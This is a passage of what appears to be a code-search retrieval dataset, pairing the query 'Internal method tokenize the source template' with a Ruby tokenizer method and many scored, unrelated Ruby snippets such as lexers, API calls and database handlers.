form_db_submission[:c_updatedAt])\r\n )\r\n .call(\r\n :update,\r\n db_submission_values,\r\n submission_values_columns_map\r\n ) unless @info_values['ignore_updates']\r\n puts \"Updated #{submission_update_count} row(s) - #{submission[\"id\"]}.\" if @enable_debug_logging\r\n end\r\n #end form submission database transaction\r\n end\r\n #end statement for else statement for if this is a delete submission update.\r\n end\r\n #end statement for else statement for if this is a bulk submission insert.\r\n end\r\n \r\n return get_handler_xml_results({\r\n \"Submission Database Id\" => \"\",\r\n \"Updated Submission Count\" => submission_update_count.to_s,\r\n \"Handler Error Message\" => \"\",\r\n \"Handler Error Backtrace\" => \"\"\r\n })\r\n\r\n rescue Exception => e\r\n if @error_handling == \"Error Message\"\r\n error_message = e.message\r\n error_backtrace = e.backtrace.join(\"\\r\\n\")\r\n return get_handler_xml_results({\r\n \"Submission Database Id\" => submission_database_id.to_s,\r\n \"Updated Submission Count\" => submission_update_count.to_s,\r\n \"Handler Error Message\" => error_message,\r\n \"Handler Error Backtrace\" => error_backtrace\r\n })\r\n else\r\n raise e\r\n end\r\n\r\n ensure\r\n # Disconnect at the end *if* running through the Task engine.\r\n @db.disconnect if driver_parameters.nil? == true\r\n puts \"Disconnecting from database.\" if driver_parameters.nil? == true\r\n\r\n end", "title": "" }, { "docid": "6c14d5d2eedf3df671c55377a29ffaf0", "score": "0.5045575", "text": "def remote; end", "title": "" }, { "docid": "4ff1c6878027d0a6ac237f730afc6321", "score": "0.50426745", "text": "def run\n return if halted?\n\n http = request.em\n http.callback {\n Benchy.logger.info \"#{name}\\t| #{request.method.upcase} #{request.url} - HTTP #{http.response_header.status}\"\n run\n }\n http.errback {\n Benchy.logger.error \"#{name}\\t| Connection error!\"\n halt # TODO - Make this fail the ping and try again, not halt\n }\n end", "title": "" }, { "docid": "abe90a3e4cf3150be47642a53e398eab", "score": "0.50390565", "text": "def exec(command, &block); end", "title": "" }, { "docid": "e6ff47a1d03d106d39f5f84045da0048", "score": "0.5037695", "text": "def execute\n res = Net::HTTP.start(@query.uri.hostname, @query.uri.port) do |http|\n req = Net::HTTP::Post.new(@query.uri)\n req['Cookie'] = @session_cookie_provider.current.value\n req['Content-Type'] = \"application/json; charset=utf-8\"\n req.body = build_body(@query.attributes)\n\n http.request(req)\n end\n # TODO: handle invalid responses\n @parser.parse(res.body)\n end", "title": "" }, { "docid": "6beced36c3a8f0301fbbdec2bf58c900", "score": "0.5036772", "text": "def start\n params = {\n :migrate => migrate,\n :ref => ref,\n :serverside_version => serverside_version,\n }\n params[:migrate_command] = migrate_command if migrate\n post_to_api(params)\n end", "title": "" }, { "docid": "a88978f578e369797bdedc1baef19750", "score": "0.50263345", "text": "def call_api (action, argument = \"\")\n\t\turi_str = BASE_URL + action + @api_key + argument\n\t\turi = URI.parse(uri_str)\n\t\tresponse = Net::HTTP.get_response(uri)\n\t\t#check response\n\t\tresponse_body = JSON.parse(response.body)\n\tend", "title": "" }, { "docid": "1dc0504197995bc536c20bef3f4b2beb", "score": "0.50247836", "text": "def run_runner_api_process(options)\n # Remove profile from options. All other are passed to Runner.\n profile = options.delete(:profile)\n\n # Make a tmpfile\n Tempfile.open(mode: 0700) do |script| # 0700 - -rwx------\n\n # Clear and concat - can't just assign, it's readonly\n script.puts <<~EOSCRIPT\n # Ruby load path\n $LOAD_PATH.clear\n $LOAD_PATH.concat(#{$LOAD_PATH})\n\n # require inspec\n require \"inspec\"\n require \"inspec/runner\"\n\n # inject pretty-printed runner opts\n runner_args = #{options.inspect}\n # Profile to run:\n profile_location = \"#{profile}\"\n\n # Run Execution\n runner = Inspec::Runner.new(runner_args)\n runner.add_target profile_location\n runner.run\n EOSCRIPT\n script.flush\n\n # TODO - portability - this does not have windows compat stuff from the inspec()\n # method in functional/helper.rb - it is not portable to windows at this point yet.\n # https://github.com/inspec/inspec/issues/4416\n CMD.run_command(\"ruby #{script.path}\")\n\n end\n end", "title": "" }, { "docid": "9200c7b4c1d7d63561d9060294654272", "score": "0.5021905", "text": "def update_remote\n # TODO\n end", "title": "" }, { "docid": "1186ef390c9de6b17511ea3b0bd8b155", "score": "0.5020189", "text": "def run(api_method = :api)\n orig_command = \"%s %s\" % [api_method, raw]\n Log.debug \"saying #{orig_command}\"\n resp = @fs_socket.say(orig_command)\n unless resp[\"body\"] == \"0 total.\"\n call_info, count = resp[\"body\"].split(\"\\n\\n\")\n require \"fsr/model/call\"\n begin\n require \"fastercsv\"\n @calls = FCSV.parse(call_info)\n rescue LoadError\n require \"csv\"\n @calls = CSV.parse(call_info)\n end\n return @calls[1 .. -1].map { |c| FSR::Model::Call.new(@calls[0],*c) }\n end\n []\n end", "title": "" } ]
45e8592ee1d6ec71620cc73a5c0eb8de
Internal method tokenize the source template
[ { "docid": "a61a3c73a55aa0899fb06e55db8fce2d", "score": "0.7054199", "text": "def tokenize(source=@source)\n regex = / \\{\\{(\\{?)(.*?)\\}?\\}\\} | # {{ var }}, or {{{ var }}} 1,2\n \\{(\\#|if|else|loop|include|extends|block)(.*?)\\}\\s* | # {if expression } 3,4\n \\{\\/(if|loop|block)(.*?)\\}\\s*/xim # {/if closing expression } 5,6\n result = []\n text = source\n while text =~ regex\n result << [:text, $`] unless $`.empty? # prematch\n result << [:var, $2.strip] if $2 and $1 != \"{\"\n result << [:unvar, $2.strip] if $2 and $1==\"{\"\n result << [($3==\"#\" ? :comment : $3.to_sym), $4.strip] if $3\n result << [\"end#{$5}\".to_sym, nil] if $5\n text = $' # postmatch\n end\n result << [:text, text] if not text.empty?\n result\n end", "title": "" } ]
[ { "docid": "d85ec353599177ba095f34dbbdaa0d67", "score": "0.7597764", "text": "def parse_template (tokens); parse_block tokens; end", "title": "" }, { "docid": "14dcbd50d9fc81a995517889d5a8ca26", "score": "0.7413023", "text": "def parse\n tokenize\n make_template\n @template\n end", "title": "" }, { "docid": "9087109ecf6a6b5d5d5528216444f8d4", "score": "0.7378137", "text": "def tokenize(source)\n return [] if source.to_s.empty?\n tokens = source.split(TemplateParser)\n\n # removes the rogue empty element at the beginning of the array\n tokens.shift if tokens[0] and tokens[0].empty?\n\n return tokens\n end", "title": "" }, { "docid": "d9ee28b764d80cef4d293786d00ae484", "score": "0.7206384", "text": "def tokenize\n \n end", "title": "" }, { "docid": "609d7db2a83985f4cc29783c1b3f5c09", "score": "0.7174837", "text": "def tokenize\n end", "title": "" }, { "docid": "3196756e2f64c45555f66b0bea69b6c1", "score": "0.7023456", "text": "def tokenize(source = T.unsafe(nil), options = T.unsafe(nil)); end", "title": "" }, { "docid": "5ad3a4a320896dde08b2ca8411b641e7", "score": "0.69859326", "text": "def tokenize(page_source)\n raise(\"Error: empty page source!\") if page_source.nil? || page_source.empty?\n body_content = replace_tags page_source\n cleaned_up = replace_delimiters body_content\n cleaned_up.split(\" \")\n end", "title": "" }, { "docid": "a7f159e00cbd55ee42702ae569b1a32a", "score": "0.6976856", "text": "def tokenize\n result = Datastructure::TokenStream.new\n @source.scan(TAG_REGEX).each do |match|\n result << [:text, match[0]] if match[0] and not match[0].empty?\n if data = match[1]\n result << [:block, data.strip]\n elsif data = match[2]\n result << [:var, data.strip]\n elsif data = match[3]\n result << [:comment, data.strip]\n end\n end\n rest = @source[$~.end(0)..-1]\n result << [:text, rest] if not rest.empty?\n result.close\n end", "title": "" }, { "docid": "1dab756792410d1794a182400644132a", "score": "0.6876298", "text": "def tokenize(&blk)\n template = gsub(/\\((.*)\\)/, \"%{token}\")\n tokens = Array(( $1 || self ).split('|'))\n\n tokens.each do |token|\n blk.call(template % {token: token})\n end\n\n nil\n end", "title": "" }, { "docid": "9c9d23c6b0a56729bbcdb6fa29c756d8", "score": "0.6627705", "text": "def tokenize(str)\n tokens = []\n #We need a binary version of our string as StringScanner isn't able to work \n #with encodings. \n ss = StringScanner.new(str.dup.force_encoding(\"BINARY\")) #String#force_encoding always returns self\n until ss.eos?\n pos = ss.pos\n if ss.scan_until(/{/)\n #Get the string between the last and the recent match. We have to subtract 2 here, \n #since a StringScanner position is always ahead of the string character by 1 (since 0 in \n #a SmallScanner means \"before the first character\") and the matched brace shouldn't be \n #included. \n tokens << [:plain, ss.string[Range.new(pos, ss.pos - 2)]] unless ss.pos == 1 #This means, the escape sequence is at the beginning of the string - no :plain text before. \n pos = ss.pos\n ss.scan_until(/}/)\n tokens << [:esc, ss.string[Range.new(pos, ss.pos - 2)]] #See above for comment on -2\n else #We're behind the last escape sequence now - there must be some characters left, otherwise this wouldn't be triggered. \n tokens << [:plain, ss.rest]\n ss.terminate\n end\n end\n #Now hunt for special character like ä which can't be send using xdotool's type command. \n regexp = Regexp.union(*SPECIAL_CHARS.keys.map{|st| st}) #Regexp.union escapes automatically, no need for Regexp.escape\n tokens.map! do |ary|\n #But first, we have to remedy from that insane forced encoding for StringScanner. \n #Force every string's encoding back to the original encoding. \n ary[1].force_encoding(str.encoding)\n next([ary]) unless ary[0] == :plain #Extra array since we flatten(1) it afterwards\n tokens2 = []\n ss = StringScanner.new(ary[1])\n until ss.eos?\n pos = ss.pos\n if ss.scan_until(regexp)\n #Same as for the first StringScanner encoding problem goes here, but since I now have to use a UTF-8 regexp \n #I have to put the string into the StringScanner as UTF-8, but because the StringScanner returns positions for \n #a BINARY-encoded string I have to get the string, grep the position from the BINARY version and then reforce \n #it to the correct encoding. \n tokens2 << [:plain, ss.string.dup.force_encoding(\"BINARY\")[Range.new(pos, ss.pos - 2)].force_encoding(str.encoding)] unless ss.pos == 1\n tokens2 << [:special, ss.matched]\n pos = ss.pos\n else\n tokens2 << [:plain, ss.rest]\n ss.terminate\n end\n end\n tokens2\n end\n #Make the token sequence 1-dimensional\n tokens.flatten!(1)\n #Now delete empty :plain tokens, they don't have to be handled. \n #They are created by strings like \"abc{ESC}{ESC}\", where they are \n #recognized between the two escapes. \n #Empty escape sequences are an error in any case. \n tokens.delete_if do |sym, st|\n if st.empty?\n if sym == :esc\n raise(XDo::ParseError, \"Empty escape sequence found!\")\n else\n true\n end\n end\n end\n \n #Return the tokens array. \n tokens\n end", "title": "" }, { "docid": "d9f13ca8f2bbbeadbd5202fc7d4b5429", "score": "0.6491961", "text": "def tokens(src = @source)\n Parser.new(@options).compile(src)\n end", "title": "" }, { "docid": "3cf88255b3f3af0dde32c20c1a0c391c", "score": "0.6454515", "text": "def tokenize(src)\n src.gsub('(', ' ( ').gsub(')', ' ) ').split\nend", "title": "" }, { "docid": "955e981a627f12820de6c09a94ab77c5", "score": "0.6439992", "text": "def tokens(src = @source)\n Parser.new.compile(src)\n end", "title": "" }, { "docid": "ecd5fc3704e5d2ec3febb13c410d117c", "score": "0.6430222", "text": "def token_scanner; end", "title": "" }, { "docid": "214de25e9799e4f31a285f9a84baa591", "score": "0.6417157", "text": "def tokenize(string); end", "title": "" }, { "docid": "214de25e9799e4f31a285f9a84baa591", "score": "0.6417157", "text": "def tokenize(string); end", "title": "" }, { "docid": "4ae34e00a26d295cc5d969dbc550c506", "score": "0.63927317", "text": "def parse (template)\n\t@usage = {}\n\ttokens = []\n\tliteral = true\n\ttrim_next = false\n\n\t# Template \"text<<code>>text<<code>>...\" =>\n\t# (text, code, text, code, ...)\n\ttemplate.split(/<<(?!<)((?:[^<>]|<[^<]|>[^>])*)>>/s).each do |part|\n\t if part.length > 0\n\t\tif literal\n\t\t part.sub!(/^\\s+/s, '') if trim_next\n\t\t tokens.push [ :ext_string, part ]\n\t\telse\n\t\t if part[0] == '.'\n\t\t\ttokens[-1][1].sub!(/\\s+$/s, '') if\n\t\t\t tokens[0] and tokens[-1][0] == :ext_string\n\t\t\tpart = part[1..-1] if part.length > 1\n\t\t end\n\t\t part = part[0..-2] if trim_next = (part[-1] == '.')\n\t\t tokens += get_tokens part\n\t\tend\n\t else\n\t\ttrim_next = false\n\t end\n\t literal = !literal\n\tend\n\n\t@code = parse_template tokens\n\tself\n end", "title": "" }, { "docid": "b433934fbc71a9108ce54c87057d0c99", "score": "0.6375646", "text": "def processed_template\n unprocessed_content = \"\"\n File.open(source_path) do |f|\n unprocessed_content = f.read\n end\n process_template(unprocessed_content)\n end", "title": "" }, { "docid": "4fd63f2d29418feb549b023deefccafd", "score": "0.6362845", "text": "def collect_tokens; end", "title": "" }, { "docid": "4fd63f2d29418feb549b023deefccafd", "score": "0.6362845", "text": "def collect_tokens; end", "title": "" }, { "docid": "5b8636cdb2cdecaf7c1ae91c064d56c9", "score": "0.6344605", "text": "def process_token(tk); end", "title": "" }, { "docid": "4c2dab067c5b7e8411c1680561385bb6", "score": "0.6295387", "text": "def tokenize\n @string = @string.strip + \"<\"\n @string = @string.gsub(/\\n\\n\\s*\\[/,\"\\<\\s\\>\\s\\[\")\n @string = @string.gsub(/\\n\\s\\s(?!\\s)/,\"\\s\\<\\s\\>\")\n @string = @string.gsub(/\\n\\s\\s\\s/, \"\")\n @string = @string.gsub(/\\n\\s/, \"\")\n end", "title": "" }, { "docid": "890cbf36486b88db4a9e2cd3d87a438d", "score": "0.6257228", "text": "def token_text\n source[@start, (@current - @start)]\n end", "title": "" }, { "docid": "65cf4e04fdd00cc098630a2e94ed0e39", "score": "0.62508404", "text": "def tokenize_file(file_name)\n tokenize(File.read(file_name))\n end", "title": "" }, { "docid": "bcf05c268b85177d4a3ace3ce09a310d", "score": "0.6197694", "text": "def update_tokens(template_file)\n template = \"\"\n open(template_file) {|f|\n template = f.to_a.join\n }\n updated = ERB.new(template, 0, \"%<>\").result\n\n return updated\nend", "title": "" }, { "docid": "bcf05c268b85177d4a3ace3ce09a310d", "score": "0.6197694", "text": "def update_tokens(template_file)\n template = \"\"\n open(template_file) {|f|\n template = f.to_a.join\n }\n updated = ERB.new(template, 0, \"%<>\").result\n\n return updated\nend", "title": "" }, { "docid": "beee7c5c94755bc33a94673a9b12b88e", "score": "0.6196297", "text": "def tokenize(val); end", "title": "" }, { "docid": "beee7c5c94755bc33a94673a9b12b88e", "score": "0.6196297", "text": "def tokenize(val); end", "title": "" }, { "docid": "0b9007474ac83abd21ee107dac036a04", "score": "0.6184476", "text": "def compile(template)\n @encoding = nil\n\n if template.respond_to?(:encoding)\n @encoding = template.encoding\n template = template.dup.force_encoding(\"BINARY\")\n end\n\n # Keeps information about opened sections.\n @sections = []\n @result = [:multi]\n @scanner = StringScanner.new(template)\n\n # Scan until the end of the template.\n until @scanner.eos?\n scan_tags || scan_text\n end\n\n unless @sections.empty?\n # We have parsed the whole file, but there's still opened sections.\n type, pos, _ = @sections.pop\n error \"Unclosed section #{type.inspect}\", pos\n end\n\n @result\n end", "title": "" }, { "docid": "7b8d873709b6102ce3f07e8bb8a58457", "score": "0.6183581", "text": "def tokenizer\n\n\t\t# irates through file lines\n\t\tdata.each_line do |line|\n\n\t\t\t@lineno = @lineno + 1\n\t\t\t@column = 1\n\n\t\t\twhile line.length > 0\n\t\t\t\t\n\t\t\t\tmatches = false\n\n\t\t\t\t# compares if the token read has to be ignored\n\t\t\t\tif (line =~ @ignore)\n\t\t\t\t\tmatches = true\n\t\t\t\t\t@column = @column + $&.length\n\t\t\t\t\tline = line[$&.length..line.length]\n\t\t\t\t\tnext\n\n\t\t\t\telse\n\t\t\t\t\t# iterates through the token dictionary \n\t\t\t\t\t# value has regular expressions\n\t\t\t\t\ttokensdict.each do |key, value|\n\n\t\t\t\t\t\t# compares for which regular expression will do match\n\t\t\t\t\t\tif (line =~ value)\n\t\t\t\t\t\t\tmatches = true\n\t\t\t\t\t\t\ttk = Token.new(key.to_s, $&, @lineno, @column)\n\t\t\t\t\t\t\t# adds to correct token list\n\t\t\t\t\t\t\[email protected](tk)\n\t\t\t\t\t\t\t@column = @column + $&.length\n\t\t\t\t\t\t\tline = line[$&.length..line.length]\n\t\t\t\t\t\t\tbreak\n\n\t\t\t\t\t\tend\n\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\t# if the token didn't match with any regular expression is an error\t\n\t\t\t\t\tif !(matches)\n\t\t\t\t\t\t@hasLexicographicErrors = true\n\t\t\t\t\t\ttk = Token.new(nil, line[0], @lineno, @column)\n\t\t\t\t\t\ttk.is_correct = false\n\t\t\t\t\t\t# adds to incorrect token list\n\t\t\t\t\t\[email protected](tk)\n\t\t\t\t\t\t@column = @column + 1\n\t\t\t\t\t\tline = line[1..line.length]\n\t\t\t\t\tend\n\t\t\t\t\n\t\t\t\tend\n\t\t\n\t\t\tend\n\t\t\t\t\n\t\tend\n\n\tend", "title": "" }, { "docid": "5adf50e417146b85592caf4b58641ffe", "score": "0.6146123", "text": "def tokenize( txt )\n tokens = tokenize_internal( txt, @rex )\n tokens.push Mapper::Token.new( :eof ) \n end", "title": "" }, { "docid": "51651c1f2b3b080d4c44bd52afed7571", "score": "0.6145087", "text": "def parse(source); end", "title": "" }, { "docid": "51651c1f2b3b080d4c44bd52afed7571", "score": "0.6145087", "text": "def parse(source); end", "title": "" }, { "docid": "51651c1f2b3b080d4c44bd52afed7571", "score": "0.6145087", "text": "def parse(source); end", "title": "" }, { "docid": "51651c1f2b3b080d4c44bd52afed7571", "score": "0.6145087", "text": "def parse(source); end", "title": "" }, { "docid": "51651c1f2b3b080d4c44bd52afed7571", "score": "0.6145087", "text": "def parse(source); end", "title": "" }, { "docid": "51651c1f2b3b080d4c44bd52afed7571", "score": "0.6145087", "text": "def parse(source); end", "title": "" }, { "docid": "79fdec6a67bc1d1a894ef33d29e90caf", "score": "0.61199737", "text": "def compile(aSourceTemplate)\n # Split the input text into lines.\n input_lines = aSourceTemplate.split(/\\r\\n?|\\n/)\n\n # Parse the input text into raw data.\n raw_lines = input_lines.map do |line|\n line_items = self.class.parse(line)\n line_items.each do |(kind, text)|\n # A tag text cannot be empty nor blank\n next if (kind != :dynamic) || !text.strip.empty?\n\n raise(EmptyArgumentError.new(line.strip))\n end\n\n line_items\n end\n\n compiled_lines = raw_lines.map { |line| compile_line(line) }\n return compile_sections(compiled_lines.flatten)\n end", "title": "" }, { "docid": "4bc62cb6df414fef2044b2eb9e70feac", "score": "0.61129946", "text": "def process\n @original_text = @text\n strip_characters\n tokenize\n end", "title": "" }, { "docid": "5d071ef2119624938f038b04be7e2532", "score": "0.6099335", "text": "def analyze\n _tokenize\n _parse\n end", "title": "" }, { "docid": "10591b9c0d610d3f489d23988b4e9dfe", "score": "0.6062479", "text": "def get_tokens s\n return tokenize s\nend", "title": "" }, { "docid": "0d4dd282f13505167939579478432a99", "score": "0.6052172", "text": "def tokenize source = nil, options = {}\n options = @options.merge(options)\n \n set_tokens_from_options options\n set_string_from_source source\n \n begin\n scan_tokens @tokens, options\n rescue => e\n message = \"Error in %s#scan_tokens, initial state was: %p\" % [self.class, defined?(state) && state]\n raise_inspect e.message, @tokens, message, 30, e.backtrace\n end\n \n @cached_tokens = @tokens\n if source.is_a? Array\n @tokens.split_into_parts(*source.map { |part| part.size })\n else\n @tokens\n end\n end", "title": "" }, { "docid": "56229673d31e2b2b32dc60dd74f51fb8", "score": "0.605014", "text": "def scan(source_code)\n\ttokenized = []\n\tstart = 0\n\twhile start < source_code.length\n\t\tTOKEN_DEFS.each{ |td|\n\n\t\t\t# match the token with the rest of the source string\n\t\t\trest = source_code[start..source_code.length]\n\t\t\tmatch = rest.match(td.regex)\n\n\t\t\t# make sure that the match we found is at the beginning \n\t\t\tif match != nil and source_code[start..start+(match.to_s.length - 1)] == match.to_s\n\t\t\t\t# skip whitespace. it's a useless token\n\t\t\t\ttokenized.push(Token.new(td.name, source_code[start..start+(match.to_s.length - 1)])) if td.name != :whitespace\n\t\t\t\tstart += match.to_s.length\n\t\t\t\tbreak\n\t\t\tend\n\t\t}\n\tend\n\treturn tokenized\nend", "title": "" }, { "docid": "ee78a819fc1aac4cf9087bf9e9d3e427", "score": "0.6008662", "text": "def parse(source)\n template_builder = TemplateBuilder.new(@loader)\n parser = Parser::SimpleParser.new(template_builder)\n parser.parse(source)\n return template_builder.template\n end", "title": "" }, { "docid": "f63483f05d9ce80fbb292e9e1ff47f93", "score": "0.5982994", "text": "def source(m)\n return '' unless m.respond_to?(:token_stream)\n # each line, get the text\n src = (m.token_stream || []).map do |t|\n next unless t\n CGI.escapeHTML(t[:text])\n end.join\n # dedent the source\n indent = src.length\n lines = src.lines.to_a\n lines.shift if src =~ /\\A.*#\\ *File/i # remove '# File' comment\n lines.each do |line|\n next unless line =~ /^ *(?=\\S)/\n n = $&.length\n indent = n if n < indent\n break if n == 0\n end\n src.gsub!(/^#{' ' * indent}/, '') if indent > 0\n src\n end", "title": "" }, { "docid": "28006bdb0fcb628b45d690f4ec94756f", "score": "0.5975779", "text": "def tokens; end", "title": "" }, { "docid": "28006bdb0fcb628b45d690f4ec94756f", "score": "0.5975779", "text": "def tokens; end", "title": "" }, { "docid": "28006bdb0fcb628b45d690f4ec94756f", "score": "0.5975779", "text": "def tokens; end", "title": "" }, { "docid": "28006bdb0fcb628b45d690f4ec94756f", "score": "0.5975779", "text": "def tokens; end", "title": "" }, { "docid": "28006bdb0fcb628b45d690f4ec94756f", "score": "0.5975779", "text": "def tokens; end", "title": "" }, { "docid": "28006bdb0fcb628b45d690f4ec94756f", "score": "0.5975779", "text": "def tokens; end", "title": "" }, { "docid": "28006bdb0fcb628b45d690f4ec94756f", "score": "0.5975779", "text": "def tokens; end", "title": "" }, { "docid": "28006bdb0fcb628b45d690f4ec94756f", "score": "0.5975779", "text": "def tokens; end", "title": "" }, { "docid": "28006bdb0fcb628b45d690f4ec94756f", "score": "0.5975779", "text": "def tokens; end", "title": "" }, { "docid": "28006bdb0fcb628b45d690f4ec94756f", "score": "0.5975779", "text": "def tokens; end", "title": "" }, { "docid": "28006bdb0fcb628b45d690f4ec94756f", "score": "0.5975779", "text": "def tokens; end", "title": "" }, { "docid": "28006bdb0fcb628b45d690f4ec94756f", "score": "0.5975779", "text": "def tokens; end", "title": "" }, { "docid": "28006bdb0fcb628b45d690f4ec94756f", "score": "0.5975779", "text": "def tokens; end", "title": "" }, { "docid": "28006bdb0fcb628b45d690f4ec94756f", "score": "0.5975779", "text": "def tokens; end", "title": "" }, { "docid": "28006bdb0fcb628b45d690f4ec94756f", "score": "0.5975779", "text": "def tokens; end", "title": "" }, { "docid": "28006bdb0fcb628b45d690f4ec94756f", "score": "0.5975779", "text": "def tokens; end", "title": "" }, { "docid": "28006bdb0fcb628b45d690f4ec94756f", "score": "0.5975779", "text": "def tokens; end", "title": "" }, { "docid": "28006bdb0fcb628b45d690f4ec94756f", "score": "0.5975779", "text": "def tokens; end", "title": "" }, { "docid": "28006bdb0fcb628b45d690f4ec94756f", "score": "0.5975779", "text": "def tokens; end", "title": "" }, { "docid": "28006bdb0fcb628b45d690f4ec94756f", "score": "0.5975779", "text": "def tokens; end", "title": "" }, { "docid": "39b2e02df433a4d499d1c1e6a5e45da8", "score": "0.5973617", "text": "def token\n @src.sub!(/\\A\\n/,'')\n if $&\n @line += 1\n return [ :RETURN, \"\\n\" ]\n end\n\n if @done\n return nil\n end\n yytext = String.new\n\n\n # remove comments from this line\n @src.sub!(/\\A[ \\t]*;.*\\n/,\"\\n\")\n if $&\n return [:INLINECOMMENT, \"\"]\n end\n\n @src.sub!(/\\A#.*\\n/,\"\\n\")\n if $&\n return [:COMMENT, \"\"]\n end\n\n @src.sub!(/#.*/,'')\n\n if @src.length == 0\n @done = true\n return [false, '$']\n end\n\n if @invar\n @src.sub!(/\\A[ \\t]+/,'')\n @src.sub!(/\\A([^;\\n]+)(\\n|;)/,'\\2')\n if $1\n yytext += $1\n end\n @invar = false\n return [:VALUE, yytext]\n else\n @src.sub!(/\\A[\\t ]*(\\S+)([\\t ]*|$)/,'')\n if $1\n yytext = $1\n case yytext\n when 'define'\n #puts \"got define\"\n return [:DEFINE, yytext]\n when '{'\n #puts \"got {\"\n @inobject = true\n return [:LCURLY, yytext]\n else\n unless @inobject\n #puts \"got type: #{yytext}\"\n if yytext =~ /\\W/\n giveback = yytext.dup\n giveback.sub!(/^\\w+/,'')\n #puts \"giveback \" + giveback\n #puts \"yytext \" + yytext\n yytext.sub!(/\\W.*$/,'')\n #puts \"yytext \" + yytext\n #puts \"all [#{giveback} #{yytext} #{orig}]\"\n @src = giveback + @src\n end\n return [:NAME, yytext]\n else\n if yytext == '}'\n #puts \"got closure: #{yytext}\"\n @inobject = false\n return [:RCURLY, '}']\n end\n\n unless @invar\n @invar = true\n return [:PARAM, $1]\n else\n end\n end\n end\n end\n end\nend", "title": "" }, { "docid": "8718a3e495a4e380361c4be1a1cc23f3", "score": "0.59620976", "text": "def tokenize\n tokens = []\n until @code.empty?\n tokens << getToken\n @code = @code.strip\n end\n tokens \n end", "title": "" }, { "docid": "bf294c8bb79d22d6c483c3e51509b6f1", "score": "0.5961143", "text": "def tokenize\n raise NotImplementedError, \"#{self.class} does not support tokenization\"\n end", "title": "" }, { "docid": "450ed964161bd4842e553873ee1cd9a4", "score": "0.594872", "text": "def ift_parse(data)\n templates, current, ignore = {}, nil, false\n data.each_line do |line|\n #(templates[current = $2], ignore = '', $1=='#') and next if line =~ /^(\\#)*@@\\s*(.*)/\n #templates[current] << line if current unless ignore\n if line =~ /^(\\#)*@@\\s*(.*)/\n #ignore = ($1 == '#') #skip commented out templates\n #next if ignore\n #current = $2\n #templates[current] = ''\n ignore = ($1 == '#') and next #skip commented out templates\n templates[current = $2] = ''\n elsif ignore\n next\n elsif current\n templates[current] << line\n end\n end\n templates\n end", "title": "" }, { "docid": "6487e1484d7ab89d9be767217ac9466b", "score": "0.59410465", "text": "def generateTokenList()\n cur_pos = 0\n until cur_pos == @file.length do\n case @file[cur_pos]\n when /[a-zA-Z]/\n # Word\n string = \"\"\n while (cur_pos != @file.length && @file[cur_pos] =~ /[a-zA-Z0-9_]/)\n string << @file[cur_pos]\n cur_pos += 1\n end\n\n case string\n when \"if\"\n @tokens.push(Token.new(TokenKind::If, string))\n when \"then\"\n @tokens.push(Token.new(TokenKind::Then, string))\n when \"end\"\n @tokens.push(Token.new(TokenKind::End, string))\n when \"else\"\n @tokens.push(Token.new(TokenKind::Else, string))\n when \"for\"\n @tokens.push(Token.new(TokenKind::For, string))\n when \"from\"\n @tokens.push(Token.new(TokenKind::From, string))\n when \"to\"\n @tokens.push(Token.new(TokenKind::To, string))\n when \"do\"\n @tokens.push(Token.new(TokenKind::Do, string))\n when \"by\"\n @tokens.push(Token.new(TokenKind::By, string))\n when \"and\"\n @tokens.push(Token.new(TokenKind::And, string))\n when \"not\"\n @tokens.push(Token.new(TokenKind::Not, string))\n when \"true\"\n @tokens.push(Token.new(TokenKind::True, string))\n when \"false\"\n @tokens.push(Token.new(TokenKind::False, string))\n else\n @tokens.push(Token.new(TokenKind::Identifier, string))\n end\n when /[0-9]/\n # Integer\n string = \"\"\n while (cur_pos != @file.length && @file[cur_pos] =~ /[0-9]/)\n string << @file[cur_pos]\n cur_pos += 1\n end\n @tokens.push(Token.new(TokenKind::Integer, string))\n when /[+\\-*\\/<=;:()]/\n # Symbol(s)\n string = \"\"\n while (cur_pos != @file.length && @file[cur_pos] =~ /[+\\-*\\/<=;:()]/)\n string << @file[cur_pos]\n cur_pos += 1\n end\n\n # <=, :=, and // are the only multicharacter tokens, rest should be read in\n # one character at a time\n if string == \"<=\"\n @tokens.push(Token.new(TokenKind::LessThanOrEqualTo, string))\n elsif string == \":=\"\n @tokens.push(Token.new(TokenKind::Assign, string))\n elsif string == \"//\"\n while (cur_pos != @file.length && @file[cur_pos] != \"\\n\")\n string << @file[cur_pos]\n cur_pos += 1\n end\n # @tokens.push(Token.new(TokenKind::Comment, string))\n else\n string.split('').each do |symbol|\n case symbol\n when \"+\"\n @tokens.push(Token.new(TokenKind::Add, symbol))\n when \"-\"\n @tokens.push(Token.new(TokenKind::Subtract, symbol))\n when \"*\"\n @tokens.push(Token.new(TokenKind::Multiply, symbol))\n when \"/\"\n @tokens.push(Token.new(TokenKind::Divide, symbol))\n when \"<\"\n @tokens.push(Token.new(TokenKind::LessThan, symbol))\n when \"=\"\n @tokens.push(Token.new(TokenKind::Equal, symbol))\n when \"(\"\n @tokens.push(Token.new(TokenKind::OpenParen, symbol))\n when \")\"\n @tokens.push(Token.new(TokenKind::CloseParen, symbol))\n when \";\"\n @tokens.push(Token.new(TokenKind::Semicolon, symbol))\n end\n end\n end\n when /\\s/\n cur_pos += 1\n else\n raise \"Invalid character #{@file[cur_pos]}!\"\n end\n end\n @tokens.push(Token.new(TokenKind::EOF, \"END_OF_FILE\"))\n end", "title": "" }, { "docid": "2baa3778cd3fea80f8a6d8d0db8936ef", "score": "0.5925628", "text": "def process(user_input)\n return tokenize(user_input)\n end", "title": "" }, { "docid": "3e8a64e495b7194c356f0d773d7d30d6", "score": "0.5919937", "text": "def collect_tokens=(_arg0); end", "title": "" }, { "docid": "3e8a64e495b7194c356f0d773d7d30d6", "score": "0.5919937", "text": "def collect_tokens=(_arg0); end", "title": "" }, { "docid": "d4562550eff2f527a18e3edb22d7fdc1", "score": "0.59085166", "text": "def tokens(script)\n puts Lexer.new.tokenize(script).inspect\n end", "title": "" }, { "docid": "f6c03e1191fc0b511f053592d345220a", "score": "0.5897586", "text": "def find_tokens(filename)\n return clean_string_list(convert_html_to_list(filename))\nend", "title": "" }, { "docid": "6cacc12f38aa4b9d5c609cd59cec6ac1", "score": "0.58832973", "text": "def tokenize(exp)\n self.context = exp\n err_reset\n stream = []\n index = 0 \n while exp.size > 0 do\n PATTERNS.keys.each do |key|\n matched = PATTERNS[key].match(exp)\n if matched then\n err_track index if key == :UNKNOWN\n stream << [key,index,matched.to_s] unless key == :SPACE\n index += matched.to_s.size\n exp = exp [matched.to_s.size...exp.size]\n break\n end\n end\n end\n stream << [:EOL,index,\"\\n\"] unless stream.last != nil and stream.last[0] == :EOL\n return stream\n end", "title": "" }, { "docid": 